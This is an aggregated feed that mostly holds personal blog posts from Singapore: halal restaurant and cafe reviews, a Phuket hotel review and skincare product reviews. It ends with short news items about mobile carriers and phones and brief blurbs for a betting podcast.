Recently I heard raves about this newly halal food establisment that sells Japanese. I see pictures of their food on various social networking platform like facebook and instagram (especially instagram). Although Singapore has sizable a muslim population, it is not easy to get halal japanese food here; especially good ones. This is because japanese usually uses mirin and pork broth in their cookings. The newly halal restaurant that I am referring to is call The Ramen Stall, located at 787 North Bridge Road. When I heard that still stall sells halal ramen, I was really excited because I am avid viewer of Japanese Hour on Channelnewsasia and often see people eating ramens. I have never tasted japanese ramen simply because it is difficult to get halal ones. I even considered going to Tokyo to get taste of halal ramen there.


So yesterday I decided to give it a try after work. The place is located all the same street as Zam Zam. I was expecting a crowd since it is newly halal certified and I was right about 7.30pm and there was already a long queue. My friend and I then comtemplated whether we should go to Afterwit which was located nearby and serves Mexican food. Alas, we decided to queue up. Fortunately, we got a seat after 10 minutes becauses there was only two of us. Those who came in big groups in front of us has to wait longer.



I knew what to order straight away. I ordered their Volcano Ramen ($11). My friend to longer to decide because she is not familiar with Japanese food (unlike someone who watches Japanses Hour). She settled for Oyakodon ($9.90). We also ordered a sides, Torched Beef Sushi ($7.90).


The first dish to arrive was our Torched Beef Sushim It was soo good that I even considered on seconds. The beef was so soft and well marinated and smokey. It kinda melt in my mouth. It really went well with the wasabi and the preserved radish. Usually I dont even like to put wasabi on my sushi.


The came my volcano ramen. I selected level 1 because I not really a fan of spicy food. I like those which are savourly spicy. The broth before mixing with the chilli was quite mild. It tasted better after mixing with the chilli. The restaurant was quite generous with the toppings but I find the noodles quite little. Maybe because I like carbohydrate. I especially like the kale/seaweed, minced meat and the eggs in the soup. But I find this Volcano Ramen kinda overhyped.


My friend Oyakodon. It is like chicken mixed in batter of ingredients and then fried and placed on top of rice. It is then topped with raw egg and drizzled with soy based sauce. My friend found it nice and mind you she is a picky eater. The serving was also quite big.

There was also a 17% service charge when you dine in. I will definitely come back to try their sushis and unagi rice! 

          Travel: Our accommodation in Phuket (Thailand), BYD Lofts Boutique Hotel & Serviced Apartments        

This is probably my first post related to my overseas vacation. So this will placed under the travel series. This year in June, my family and I decided to go for a 6 days 5 night trip to Phuket. Initially, I said that I did not want to go but since I am not going for any graduation trip , I decided to tag along at the last minute. Plane ticket was a little more pricey because I did not but early. We took Silkair and my ticket cost about S$400++ about a hundred more than what my other family members paid for. That was my first time in Phuket but not my first time in Thailand. I went to Bangkok few years before this trip. And I really enjoyed the trip.

We stayed at BYD Lofts Boutique Hotel & Serviced Apartments. 


The van that ferried us to the hotel
When we first arrived at Phuket International Airport, we were greeted by the driver for the airport transfer. Since there were seven of us, we requested for a bigger vehicle. If not for that I would prefer being chauffeured by complimentary luxury transfers that BYD lofts provides.... Mercedes Benz CLS class

After travelling for about 2 hours, we reached BYD lofts. We were greeted by their staffs as soon as we alighted from the van. The staff actually came out from the lobby to greet us. I thought it was a nice gesture. We were also given welcome drinks and flower garlands at hotel lobby. The lobby was quite small but cosy. 


In front of BYD lofts, where out van stopped

The citrus welcome drinks and hot towels that we received at the lobby...Thought that the drinks tasted really interesting with chewy bits in it
The flower garlands that staff put around our necks



Let's talk about the room itself. BYD Lofts is located at Patong. The room that 4 of us stayed in is called 2 bedroom Penthouse. I think that is best type of room available at BYD Lofts. We were really excited to stay there and the experience did not let us down. Unlike most hotels, the pictures of rooms in their website are really true to what we received. The elevator brings us directly into the room, which was really interesting. We were greeted by a spacious living room once the door of the elevator opens. I remembered my mom was awed when she stepped into the penthouse LOL.

So the penthouse has a large living room, a balcony, a fully furnished kitchen, two bedrooms (master bedroom and a smaller room), 3 toilets (one in the living room, and a toilet in each of the rooms). There are also wifi which is password protected.

The living room equipped with TV and fully furnished. There were complimentary fruits on the tables

The balcony...good news for those who smokes

The kitchen. It has a fridge, dining tables, induction stove, coffee maker and etc. 

The master bedroom. It has a huge toilet, desk, TV, wardrobe and etc. 

One part of the master's bedroom toilet

Another part of the master's bedroom toilet

The second bedroom which fully furnished with a TV, wardrobe, a toilet and etc. 
PROS:
1) Good distance from the main shopping district e.g. Jungceylon, Bangla Road
2) Related to the first point, even though walkable distance to many amenities is not too near. Hence, really quiet.
3) There are a lot of laundry, massage and tailoring services near BYD loft
4) Spacious and lots of toilets!!!
5) Comfortable beds
6) 10 minutes walk to Patong beach
7) For those who needs halal, there are a lot of halal eateries nearby like Kusuma etc. but I did not eat there because of hygiene purposes. I will talk more about the halal restaurants that I ate at during another time

CONS:
1) Weird housekeeping time...which was frustrating at times
2) The lift in our room can be a little troublesome
3) Although the majority of the staffs were friendly, not many are fluent in English

Please feel free to ask any questions in the comment section below.

I will the end the post with a weird incident that happened in Phuket. It was 2 a.m. and everyone else in the Penthouse had already fallen asleep. I was awake charging my phone and using my macbook. Then I heard a bell from the intercom. I ignored it at first but it kept on ringing. Then I check the intercom and saw a person waiting at the first floor. He looked kinda drunk. Since I have no idea who it was, I checked that the lift connected to the room was locked. I got a little scared and went to bed after that...hoping that he doesn't come up banging the door.  


          Side-Talk: Butterscotch Cafe        
Today I am going to blog about my dining experience at Butterscotch Cafe. I have seen photos of dishes from this cafe. The food looks visually appetizing. But it is a little out of the way. When I heard my friend's office is near this cafe, we decided to have our long overdue meet up here. It is located at Bukit Merah area. It is about 10 mins walk from Redhill MRT station. Fortunately, my friend and I did not get lost even when it is out first time and it was at night. When we reached there, both us agreed that it was an unexpected place to find a cafe. The place was much more 'ulu' than I expected haha.

You will need to wait once you reach there if the cafe is crowded. You can also leave your number and they will contact you once there are available seats. Since the indoor seating were full, we had to seat outside. It wasn't too bad because there were ceiling fans and there weren't many passerbys in the area.

I bought myself Bandung Soda Float  (S$6.50) and Chilli Crab Cake Burger (S$14). While my friend bought herself Chicken Chop with Eggs ($16) and Iced Matcha Green Tea (S$6.50). You opt for Chicken chop without egg which will cost S$2 cheaper.

Bandung Soda Float (S$6.50) and Iced Matcha Green Tea (S$6.50)

Chilli Crab Cake Burger (S$14) and Chicken Chop with Eggs (S$16)
The Chilli Crab Cake burger comes with wedges and the Chicken Chop comes with wedges and coleslaw. The crab cake had a really thick patty of real crab meat. It wasn't mixed with any other ingredients which is nice. The sauce is the typical Chilli Crab sauce but I feel it lacked spiciness. It wasn't even spicy for my standard. The Bandung Soda Float was a let down because I barely taste the bandung. I think it was overpowered by the soda and ice cream. I wished it has a stronger Rose water taste.

I tasted my friend's chicken chop and it was really good. This might not make sense because it was so good that it tasted like steak. The meat was juicy too. It is different from your typical hawker centre chicken chop. It was worth the buy. I didn't taste my friend's Iced Matcha Green Tea but according to her it was pleasantly unique.

We were too full once we were done with our meals and hence did not order any dessert like what we initially planned. But the desserts were pretty pricey, they cost at least S$12.


Overall, I find that cafe serves pretty good food. Will definitely come back again because I just found out that it sells korean bingsu as well!! Have been craving for bingsu ever since I came back from korea and it definitely difficult to get halal bingsu in Singapore. I hope someone would open a halal bingsu store soon. Oh and lastly I apologize for the lousy photos in this post haha.

          Side-Talk: Rilek 1 Korner at Punggol Settlement        
I have been lots of side talk on eateries haven't I? Here is another one.

My friend and I decided to go for cycling one. Our starting point was opposite Compass Point and our goal was the Punggol Settlement. We went through the cycling path that passes by the Punggol Waterway and Waterway Woodcress. It was a long route but the scenery was great. Luckily the weather was relatively cloudy.

Once we reached Punggol Settlement, we looked for a place to park of bikes but to no avail. I find it puzzling for such a park to not have anywhere to park the bike. We decide to bring up our bike to the second floor of Punggol Settlement where Rilek 1 Korner is located…it was pretty embarrassing haha.



We arrived as Rilek 1 Korner just as the sun was setting. The ambience was pretty nice, especially when ships passes by the place. By the way Rilek 1 Korner is the malay slang for Relax at one corner. Below are what we ordered and my opinion on each dish:


The iced milo really caught me by surprise. Honestly I did not expect much from an iced milo. I really like how they put the shaved chocolates on top of the drink. It gives a nice texture to it.

Kailan with Oyster Sauce $8
I feel that the Kailan with oyster sauce lack interns of saltiness. Hope they can improve it.

Sambal Stingray $18
The sambal stingray is really meaty, which is nice. But it lacks spiciness. It would also be nice if they could add more sauce to the stingray because we finished the sauce before we actually finished the fish.

Omelette with prawn $9
I have no complaint for the omelette. The prawns were abundant and it taste good. You can choose other meat than prawns.

We paid $40++ for 2 people, which is a little bit pricey but it was probably because we order the stingray. And I think each of the dish we ordered can feed three pax. Their ala carte menu is pretty cheap I think. I saw that it ranges from $7 to $10 if I am not wrong. Overall, I would only go there if I cycled there. I probably would order their drinks and the appetisers next time….especially their colourful mocktails!




          Review: Laniege Trouble Relief Cream         
Today I am join review another item part of the Laneige Trouble Relief series. Previously I wrote a review on Laneige Trouble Relief Spot Gel HERE, which I really recommended. This is time the review will be on Laneige Trouble Relief Cream! I am not sure about the price since it is a gift from my friend. But it should S$50 dollars.

Let's start off with pictures of the product itself

Front view of the box
Back view of the box

Here is the product. I think it is made of glass, but don't worry because I have dropped it a few times and it did break haha.

The inside

The picture above shows the consistency of the cream. It has a snow consistency. This is my first time using a cream with snow consistency. The consistency is like in between emulsion consistency and body cream.

Instruction sheet that comes with the bottle


The instructions are:
1) After applying toner, apply 1.2 cm in diameter of the cream
2) Gently smooth the cream from the center to the outer edge of your face

Initially I did not follow the instruction. I feel that the second step make some difference to the effectiveness of the cream, I am not sure of the scientific reason behind it though haha.

before
after
I usually apply once in while, when I feel that there is a impending breakout of my face. Example redness, slight itchiness, red bumps that are going to emerge as acne. I apply it after I cleansing my face. From the picture, although the cream looks kinda clumpy it is easy to spread on you face evenly. When you first apply it, it will feel very slightly heavy and oily but after it filtrates into your skin it will not be oily at all. In fact it filtrates in pretty fast. I can usually see improvement in 1-2 days time. The next morning after I applied it on my skin, my T-zone will be less red/inflamed. It also reduces the bumps on my skin and prevent acne from breaking out on my skin. These are most likely due to the anti-bacterial properties of the cream. It also has moisturising effect, but i felt that is less moisturising compared to the emulsion. But it could also because I did not apply any toner.

I will rate this product 5/5.

          Side-Talk: Papparich Singapore        
Hello! Another side-talk post today haha. Visited Papparich at Star Vista with my sister about a month ago. I remembered that my sister submitted her thesis on that day and I was in school…studying alone. Usually I would be quite productive in school…but during my final year, school did not feel as conducive as before :/. Anyway back to the topic of Papparich, decided to go there for very early dinner because the drinks in the menu look so good.

I met my sister at Star Vista itself and then we settled at Papparich. Papparich location at Star Vista is quite obscure.  Had to walk around for quite some time until we found it. Papparich has really nice interior, unfortunately the air-con was not working on that day. Its interior has this vintage coffee shop feel to it. Papparich also kinda remind me of Old Town White Coffee, which also originates from Malaysia, except that Papparich has better food that Old Town White Coffee in my opinion.

Pappa Chicken Chop


Pappa Chicken Chop with curry sauce

I initially wanted to order Pappa Fish and Chips but I wrote the code on the orders sheet -.-. Only realised when Pappa Chicken Chop with curry sauce came. My sister ordered Pappa Chicken Chop (it comes with BBQ, the only difference from my dish). Personally, I prefer the BBQ sauce over the curry sauce. The Chicken itself is freshly cook, however I think the rice is pre-cooked. I find the food quite average.

You've gotta admit that this look hella good
We also ordered drinks. I had Soya milk pudding + Cincau and my sister had Soya Milk Chendol. Both were really good. I love the gula melaka (palm sugar) in our drinks! The gull melaka taste nicer that those I always tasted. Would really come back for the drinks but not the food. Wanna taste the soya milk with sesame ice cream when I come back next time.

          Review: Shiseido Speedy Whip Foam Cleanser        
Speedy Whip Foam Cleanser is also one of the products that my eldest sister got for from Japan last December. This item can also be found in Singapore, I remembered the price being quite affordable that expected. I thought Shiseido products are pretty pricey in Singapore.





So this is how the packaging looks like. It comes with this small bottle of sample, which I have no idea what is because I don't read Japanese haha!



As the name suggest (whip), it is a mousse type of cleanser as shown in the photo, it comes out as frothy white mass of bubbles when you dispense it. As a result you do need to lather it like most cleanser. Initially, I was really excited to try it because it is the first time for to use mousse type of cleanser. Moreover, it is a Shiseido product. I have used its pimple cream and was excellent.


It was easy to use because it was in the mousse form. You don't have to put a lot to cleanse you face, i think a single press on the dispenser it more than sufficient. It has also has nice smell to it. If I am not wrong a smell of green tea?

When I first use it, the after wash feeling was pleasant because it was not drying on my face. After using it for a few times, I felt like it is not suitable for my face. Roughness on my skin formed after using it. Luckily it subsided after going to my usual cleanser. Perhaps it is too mild for my skin that  it does not clean well. Tried giving it a chance and use it a little more. The same result happen. So I did not use from then on.

I give the product 2/5.


          Side-Talk: FIX Cafe at Ah Hood Road        
Met up with my friends few weeks ago to take time off from studying. I suggested that we have dinner at FIX cafe. Have been eyeing this place ever since it got its halal certification. Their desserts look so photogenic on photos. However its location is a little out of the way from where we usually hangout. Suggested this place because the others do not have any better suggested, so we went….

We took a bus there and it took us almost an hour to reach but it was worth it. Got seated near the pool. It was not very crowded and the lighting of the cafe was good for photo taking. You have to the counter to order. I went to the counter to order but forget what my friends wanted to buy as soon as I was about to order haha. I bet the cashier thought I was weird. Went back to our table and asked my friends to come with to order haha. They also commented why I went to cashier without bringing my wallet -.- Scumbag brain.

Okay back to the food we ordered. We had Chicken Tikka Naanwich, Turkey Ham and Cheese Naanwich, Fish & Chips, Soy-glazed Chicken Drumlets and Strawberry Pistachio Rose Tart. For drinks we had ice-lemon tea, Iced Mocha and Iced Chocolate. The price came about $51 dollar, if I remembered correctly. And that is very reasonable.

Didn't manage to take lot of the photos of the food because we were all very hungry and could not wait to dig in. Here is my take on each of the item we had.





1) Chicken Tikka Naanwich (S$11)

This main comes with a cup of Nachos. The chicken tikka was nicely spiced and goes well with everything else. The portion of chicken was pretty generous. The only complain I have is that there was  too little cheese on the Nachos.

2) Turkey Ham and Cheese Naanwich (S$11)

Likewise this main comes with a cup of Nachos. I like the combination of everything. The oozing yolk completes the dish. The naan is not too hard and it is buttery. The turkey ham is good too, but felt that the slices were too little. It might look difficult to eat but you can just cut into sections and eat it. The ingredients complements each other well.

3) Fish & Chips (S$11)

The fish is quite plump. The inside is soft and the outside has just enough crust. I can actually taste the slight peppery taste to it. The fries is quite mediocre in my opinion.

4) Soy-glazed Chicken Drumlets ($7)

The skin of the Chicken has a nice crunch to it. However, the soy-glazed is kinda sweet for my liking. Maybe I should have squeezed more of the lemon slice that came with it.

5) Strawberry Pistachio Rose Tart ($6)



I was really to the tart visually. I also like how FIX presents their deserts, it looked quite luxurious. Some of the strawberries are sweet and some were not haha. We shared the dessert and my friend kept getting the sour ones haha. I like the pistachio base, because I like anything that is nutty. Anyway, my sister particularly like the combination of the pistachio base with the strong tasting strawberry jam. The sweetness is just right and it is a pretty light dessert.

Don't be deceived by how the mains look, they are pretty filling. Initially we all said that we are going to order more but we were extremely full and couldn't even finish the chicken. What I like about this cafe is that the prices are reasonable, a lot of halal cafes out there have ridiculously expensive food and they are not even good :/. Overall I will come back again. I really can't wait to taste their other desserts. The owner of FIX cafe is going to open another halal establishment called FIX grill. It is located just beside FIX cafe. Gonna give it a try after my exams. 

          Side-Talk: Halal Omiyage (Souvenir) from Japan        
As mentioned in my previous post, my eldest sister went to Japan in December 2014 and brought back lots of Japan face products. While she was there, she whatsapp us to help to her search online for halal mochi which she can bring as souvenirs for her muslim colleague. I look up on google and do not find any halal kochi that is already in Japanese market. However, I did find out that there are halal omiyage out there are halal certified by Nippon Asia Halal Association (NAHA). Interesting huh. Below is the halal logo of NAHA.

One of the product is "Arare", which is a type of rice crackers. It is product by Osama Rice Cracker Co. Pte Ltd. Do note that not all of their products are halal. So what is "Arare"? According to wikipedia, it is japanese confectionary made from glutinous rice. The difference from senbei is its size and shape. In other words it is fried mochi.



Okay great there are halal souvenirs but where do we buy them? We saw online that it can found in a shop called "Hyobando" along the row of shops at Asakusa Temple. But my sister said it is too out of the way for her. 


Photo credit: NAHA Facebook page

Then browse through NAHA Facebook Page. I found out that it is also sold at Narita Airport Terminal 1! I was thinking great then, she can buy it before she bought the plane. NAHA posted the photo below but did not state the exact location of it…like where in Terminal can it be bought.

Photo credit: NAHA Facebook page
So using my detective skills, I go Narita airport website to check the directory and look out for shops with similar display. The is called KONNICHIWA and the location is at:

Narita Airport Terminal 1
Level 4 of Central Building

So back to the story about my eldest sister. She say her departure hall is at Terminal 2 instead and most like would not be able to Terminal 1 first due to shortage of time. So I look for a way for her to buy the halal "Arare" online. Sakura Gate (link) enables you to buy online and provides delivery service to the Airport. Except you will need you to order in advance…and this is not possible for my sister. But I think the idea is genius! Tourists can now save time from looking for souvenirs while they are on holidays. I always find looking for souvenirs to but for others a waste of time HAHA. In the end, I said to me sister that I have no other solution for her.

So she finally returned to Singapore after her trip and reach home at 2am in the morning. I saw her carry this ANA paper bag with the 8 packets of halal "Arare" in it. I was like, where did you get it from. Apparently, it is sold in Narita Airport Terminal 2 as well. So another place for you to buy the halal "Arare" is at ANA FESTA lobby gift shop located at:

Narita Airport Terminal 2
Level 4 of the Main Building

My sister bought 2 flavours of halal "Arare, seaweed and red pepper. I only have photo of the seaweed one since we already ate the red pepper one. Heard there is going to be a new flavour (Wasabi) coming out soon.



For more information and updates of halal products in Japan, do visit NAHA Facebook page. 


          Review: Meishoku DET Clear Bright & Peel Peeling Jelly〈Mixed Berry Fragrance〉        
It is time for a new product review again. Before I do that, I would like to wish all my readers HAPPY 2015! May 2015 be a great year for all of you. 

My eldest sister brought home lots of Japan Skin products after her trip to Japan in December 2014. Some of the products are from popular brands in Singapore while some are brands that I have not heard before. On a side note, I simply love how the Japanese package their products, it makes me really excited to try out the products. One of the products that I would like shared with the product is DET Clear Bright & Peel Peeling Jelly with Mixed Berry Fragrance.




It states on the bottle that the peeling jelly can help to remove black-heads (Black-Heads OFF), exfoliate (Skin Rebirth), Dark Spot Care and remove sebum (Sebum OFF). 

Since it is directly from Japan, there is no english translation on the bottle. It states "Peeling Jelly" on the bottle, so I imagine it as your typical peeling mask until I google online for more information on the product. I found the information at Meishouku website.

Rather than a peeling mask, DET Clear Bright & Peel Peeling Jelly Gel is like a "glue jelly" that traps dirt on your skin as you rub on it. As you rub it will gather like small blobs of jelly. Here are some of photos of me trying the Peeling Jelly on my hands. This is not my first time using it though. I tried it  the first time few weeks ago on my face but did not document it on photos. Nevertheless, I will blog my  first experience after posting the photos.



As shown above the gel is clear and it has nice berry smell. For those who has sensitive skin, you can but one that is fragrance free.


I spread the gel and rub on my clean hand focusing on areas that feel rougher than the rest.


The gel will start clumping once it has trap the dirts. You can proceed to wash away the gel. It is pretty easy to wash away the gel. You just need normal temperatures water.


After washing the gel, my hand feels smoother. It might not be clear on photo. I used the gel on my right hand only and I can feel the difference in level of smoothness between my right and left hands.

So more on using the gel on my face. I feel that the gel is really helpful in removing dirt behind the wings of my nose. It is really difficult to remove dirt there using just facial wash and even using face scrub. I can feel that the area behind the wings of my nose substantially smoother. However, I did feel slight itchiness around the wings of nose after using the gel for the first time. But do not worry, the itchiness stopped  the next day and it doesn't occur again after subsequent use.

I feel that there is some reduction in white heads around my chin area and black heads on my nose. But doesn't really remove deep-seated black heads. After using the gel at night, you can really feel how smooth your skin has become when you are cleansing your face in the morning. I was really impressed when I first tried it.

So if you are looking for something that can help you exfoliate your skin, I recommend this over other face scrub because it is quite gentle on the skin compared to face scrub.

I rate this product 4.5/5,



          Review: Nair easiwax large wax strips for legs and body        
I went to Watsons today to get wax strips for my leg because I have not been waxing for so long and I have massage appointment tomorrow. I don't want to shock the therapist with the amount of leg hair I have HAHA. I have been using Veet wax strips since I was in secondary school. It cost about S$17. Today, I realise that there is  a cheaper alternative which is Nair easiwax which cost only S$10.45! The only difference is that Veet one contains 18 strips and 4 after wipes while Nair easiwax contains 20 strips and 2 after wipes. I bought Nair easiwax this time round. Now let me show use the content of a box of Nair easiwax:

The box
20 wax strips and 2 after-wipes
Instructions
The wax can be used for legs, bikini area and underarms. I feel the important part of the instruction is warming the wax in between your palm. It helps to prevent the wax from getting stuck on your skin after you pulled it off. Putting the strip is the direction of hair growth is also more effective in removing the hair.

A pair of wax strip
I also like how the strip is transparent unlike Veet ones which are opaque paper sheets. The transparent sheet help me see if I put the strip at the right area. For first timer, using wax strips can be a little intimidating. The only advice I can give to first timers is that the pain gets lesser with time and experience.


The picture above is snapshot of a pair of wax strip after I use it. Are you shocked by the amount of hair? HAHA. I am pretty hairy for a lady. Can you see the amount of hair the wax is able to pull. In opinion, Nair easiwax is pretty effective. It pulled almost all or all hair in the area at one go. I just have a little difficulty removing hair on my knee. It did leave a little wax here and there on my leg but it is okay because we have the after-wipes.




The after wipes smells pretty good…like shampoo. It kinda help to moisturise your leg after wax and also remove excess wave. You rub the wipes gently on the area that has wax left. The wipes is more like oil than lotion, but don't worry, the oil can be easily remove with water.

I will give this product 4.5/5. I did not give it full score because I experience difficult removing the hair on my knees.

          Side-talk: So Pho review at NEX        
I decide that I should occasionally do food review on this blog too after my first food-related post on Swensens' mooncake here. Hope you readers like it :). Yesterday, my sister and I decided to have an impromptu dinner after a long day at school. It has been quite some time since we pamper ourselves with good food since year 4 in university has been quite hectic. So we decide to NEX at Serangoon since it is on the way and it has quite a few halal eateries there.

I arrives at NEX first since NTU is further away than NUS. I had to wait for 30 minutes or so. We settled for So Pho, since my sister is craving for something soupy. There wasn't a queue but we had to wait quite sometime to get a seat. However that place was pretty packed.

We had Pho Bo (Vietnamese Slice Beef Noodle Soup) and Lychee Mint Freeze for drinks. I think Pho Bo is their specialty. I didn't take long for food to come, but it took quite long to the waiters to take our orders. I guess they are short of staff.

I would say that the Beef noodle is pretty good. The noodles are nice and chewy, I really like the texture. The soup is nice too, with a just enough hint of spiciness. The portion is pretty generous. The bowl is big, I thought it would just be because of the soup. But there is generous portion of noodles and beef.


Lychee Mint Freeze was a nice surprise. I taste quite unique I would say. But since it is ice-blended, it doesn't really quench out thirst.

We pack home seafood fried rice and the prawn and lemongrass chicken summer rolls for our parents. My mum really liked the summer rolls. Sorry no photos for that.

Pho Bo - $8.80

Lychee Mint Freeze - $4.50
Do give So Pho a try if you haven't!


          The Punt: Friday 4 November        
Dave Kelner, Derek McGovern and Thom Kirwin are back with you to preview the 10 Premier League games this weekend. The trio battle it out to nap one particular team, who look to be too big a price on the coupon. #PL #betting #football #ThePunt
          The Punt: Thursday 6 October        
Dave Kelner is joined by Derek McGovern and Thom Kirwin to preview the World Cup qualifiers involving the Home Nations on this edition of the podcast. Gareth Southgate begins his reign with a home match against Malta and the trio discuss whether he's a viable choice to take permanent command.
          Not bad for the price, were paying about 166 a wee...        
Not bad for the price, were paying about 166 a week for a double bed with a mini fridge and microwave it's a pretty decent size room too. Their is burn marks on the tub though but their … Not bad for the price, were paying about 166 a week for a double bed with a mini fridge and microwave it's a pretty decent size room too. Their is burn marks on the tub though but their cleaning the lot up. Parking is terrible if you come in late cause their always packed. The girls in the office are really sweet and the security guard is very nice and helpful. I wish they had Wi-Fi but they do have cable and a small laundromat with four washers. Their elevator is always breaking down but one always works. You can't beat it for the price. Most of the time it's pretty quiet you can't hear much from the other rooms unless their screaming (which I've experienced, but they kicked them out very fast) all in all not a bad place for the cheapest in town.
          LG Introduces The Curved Phone G Flex 2        
LG Introduces The Curved Phone G Flex 2

Back in 2014, LG released the G Flex handset, a 6-inch smartphone with a unique curved body design and a self-healing coating that clears up scratches or any damage done to the device's casing.  

Now, the South Korean company is introducing an enhanced and more streamlined version, the G Flex 2. This time around, the newest version comes with a smaller but more handy 5.5-inch display screen, and Qualcomm's most powerful chip set.

The G Flex 2 smartphone was introduced by LG during its very recent press conference at the Consumer Electronics Show 2015 (CES 2015) held in Las Vegas, Nevada in the United States. 

With its introduction, LG's G Flex 2 handset is the first of many phones this year expected to feature Qualcomm's newest offering -- the Snapdragon 810 processor. It is an eight-core 2.0 GigaHertz chip set that is 64-bit compatible for Android 5.0 Lollipop, the latest version of the Android mobile operating system. The 810 processor functions with 2 gigabytes of memory, and can support 3 x 20 MegaHertz LTE carrier aggregation for all networks that support it.

For the device's display screen, LG employed its own plastic OLED display technology. Techies may recall that this is the same display technology utilized in LG's G Watch R wearable device. But in G Flex 2's case, the resolution is set higher to 1080 pixels. 

As for its camera, the G Flex 2 smartphone sports a 13-megapixel camera that has laser autofocus system and optical image stabilization -- features that users may also find in LG's current flagship device (the LG G3).

The G Flex 2 features a 3,000 mAh battery that takes full advantage of Qualcomm's fast charging technology available via the latest Snapdragon chip sets. This technology significantly reduces the recharging time by up to 75 percent. Thus, users can get the G Flex 2 half-charged in just 40 minutes.

But what really makes the G Flex 2 unique is its curved body. The front side (display screen) has a 700 millimeter curved radius, while the rear side is curved just a bit less (650 millimeter radius). This is by design, by the way. According to LG, this helps users hold the phone more easily and also, allows the device to fit more easily in users' pockets.

Naturally, the G Flex 2 will be launched first in South Korea before the end of the month. But American users will not have long to wait. Major carriers AT&T and Sprint have already confirmed that they will be including the device in their respective smartphone line-ups this year. Regional carrier US Cellular has also announced that they will be offering the device in spring. No specific release dates and pricing details have been provided yet, but LG fans in the US should be pretty excited nonetheless. 

Want to know more LG devices? You can start comparing LG phones and plans now.

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          Sprint Called Out For Cramming Customer Accounts        
Sprint Called Out For Cramming Customer Accounts

Oops. Sprint has been busted for charging tens of millions of dollars in unauthorized third-party messaging charges to customer bills.

Moreover, the Federal Communications Commission (FCC) is about to issue a fine in the amount of $105 million for the carrier's dubious charges, as reported by the Wall Street Journal. Interestingly, the amount of the fine is the same as the one AT&T paid to the FCC earlier this year in a case that is similar.

The fine is not official yet -- the FCC is still waiting for the commissioner to approve it. However, the Consumer Financial Protection Bureau (CFPB) is not wasting any moment -- on behalf of the carrier's disgruntled subscribers, the CFPB is filing a lawsuit against Sprint.

According to the CFPB, Sprint should have made it a priority to protect its subscribers from third-party billing scams. But unfortunately for its customers, the carrier had let suspicious fees for unauthorized premium text messages show up on the customers' billing statements.

The CFPB further alleges that Sprint is choosing to ignore the tens of thousands of complaints and refund requests from disgusted subscribers due to the incorrect billing. The bureau also believes that with the carrier keeping about 40 percent of all the revenue generated from bills crammed with third-party fees, it is a lot easier for Sprint to turn a blind eye.

Even though the major wireless carriers in the United States have agreed to cease billing their subscribers for premium third-party services, the practice of cramming customer bills has always been frequently done by service providers for years. By doing so, they can generate some extra income out of unsuspecting wireless subscribers.

Last October this year, AT&T agreed to settle with the FCC over cramming complaints from its subscribers. Even T-Mobile had to deal with its own cramming lawsuit back in July of this year. Out of the $105 million fine paid by AT&T, the FCC took $80 million to be refunded to subscribers who were affected. For sure, the FCC will work to achieve the same result with its lawsuit against Sprint. 

For its part, Sprint is denying the allegations. The carrier claims that it took certain steps to protect its subscribers from unauthorized third-party billing practices. 

If the $105 million fine does go through, it will mark the first time that the FCC and the CFPB have joined forces together in taking action against a major wireless provider.

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          Sprint Prepaid Teams Up With Best Buy To Offer Free Month Of Service        
Sprint Prepaid Teams Up With Best Buy To Offer Free Month Of Service

Looks like Sprint is on a roll as we enter into the holiday season. The carrier offers another year-end special offer through its Sprint Prepaid brand, which is collaborating with retail giant Best Buy in giving customers one month of service that is completely free of charge. 

This special offer is a limited time offer only, and is open to all subscribers buying a new eligible handset from Best Buy and activating it under a Sprint Prepaid plan. Phones that eligible include the Samsung Galaxy S5, the Samsung Galaxy SIII, the LG Tribute, the LG Volt, and the Sharp Crystal.

Customers get to choose from three Sprint Prepaid plans that already include unlimited calls and unlimited text messaging. These plans are: the $35 monthly plan that includes 1 gigabyte of data, the $45 monthly plan that includes 3 gigabyte of data, and the $55 monthly plan 

Apart from unlimited calls and texting, Sprint Prepaid's plans also offer 50 minutes of off-network voice roaming per month. This is not usually offered by other prepaid service providers, which should delight those who decide to go for a prepaid plan from Sprint.

Sprint's free first month special offer is certainly a treat, but other prepaid brands also offer competitive deals. For instance, Cricket Wireless (AT&T's prepaid brand) has its Basic Plan, which offers unlimited calls, unlimited text messaging, and 1 gigabyte of high-speed data for $35 each month, that is once an AutoPay credit is applied.

New prepaid player Red Pocket also has an interesting offer. Via its GSMT Unlimited Everything plan, you get unlimited calls, unlimited text messaging, 200 minutes of international calls, and 2 gigabytes of data at full speed for $39.99 every recharge. This offer is also eligible for a full month of service free of charge from Red Pocket, provided the customer gets two months worth of recharges.

The year is not over yet, and we may still see other holiday deals from prepaid brands in the coming days or weeks. But Sprint Prepaid's offer is truly worth checking out. Customers can avail of it until January 31st of next year at all Best Buy retail stores in the United States.

Sprint has been rather busy in the past few weeks. The carrier has made its iPhone for Life and Easy Pay options available from Apple retails stores for the holidays. Apart from that, it has also teamed up with Uber in offering a free first ride promo for Sprint customers who sign up for the transport service. Interested to know more about Sprint's deals? You can compare plans and phones from the carrier here.

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          AT&T Expands Voice Over LTE To 18 Additional Markets        
AT&T Expands Voice Over LTE To 18 Additional Markets

AT&T first launched its Voice over LTE (VoLTE) service about seven months ago, but now the carrier is expanding its reach by adding 18 new markets for its VoLTE and HD Voice offerings.

The list of new markets include District of Columbia, Georgia, Illinois, Indiana, Maryland, Michigan, Minnesota, Nevada, North Carolina, Ohio, Oregon, Pennsylvania, South Carolina, Texas, Utah, Virginia, Washington, and Wisconsin. 

The good news is that this is just the beginning. AT&T's target is to transition every consumer to VoLTE. That would be easier said than done for sure, considering the tons of networks that need to be set up and the hardware that needs to be deployed. But AT&T is positive about the outcome, and early signs of success are certainly visible.

As stated by John Donovan, AT&T's Senior Vice President of Technology and Operations, the carrier's VoLTE network is performing very well after some internal tests, scoring an average of more than 99 percent in terms of accessibility and retainability (how well the users stay connected).

For those not in the know, VoLTE technology lets users simultaneously make calls and browse the Internet using their smartphones with very fast 4G LTE data speeds. 

As for HD Voice, it is a type of wideband technology that allows for better call quality with minimal background noise, made possible through widening the frequency range of the audio signals.

Voice calls were previously transmitted on a rather limited frequency range (between 300 Hertz to 3.4 Hertz). But with HD Voice, that frequency range is extended from 50 Hertz to 7 KiloHertz, and sometimes even beyond, in order to achieve high definition quality in voice calls.

However, before users can enjoy HD Voice, they need to meet the requirements. Firstly, the service must be available in their geographical area (AT&T is working on it). Secondly, the person calling and the recipient of the call must both use handsets that are HD Voice capable. For AT&T customers, just about the only devices available from their carrier that meet this requirement are the iPhone 6 and the iPhone 6 Plus.

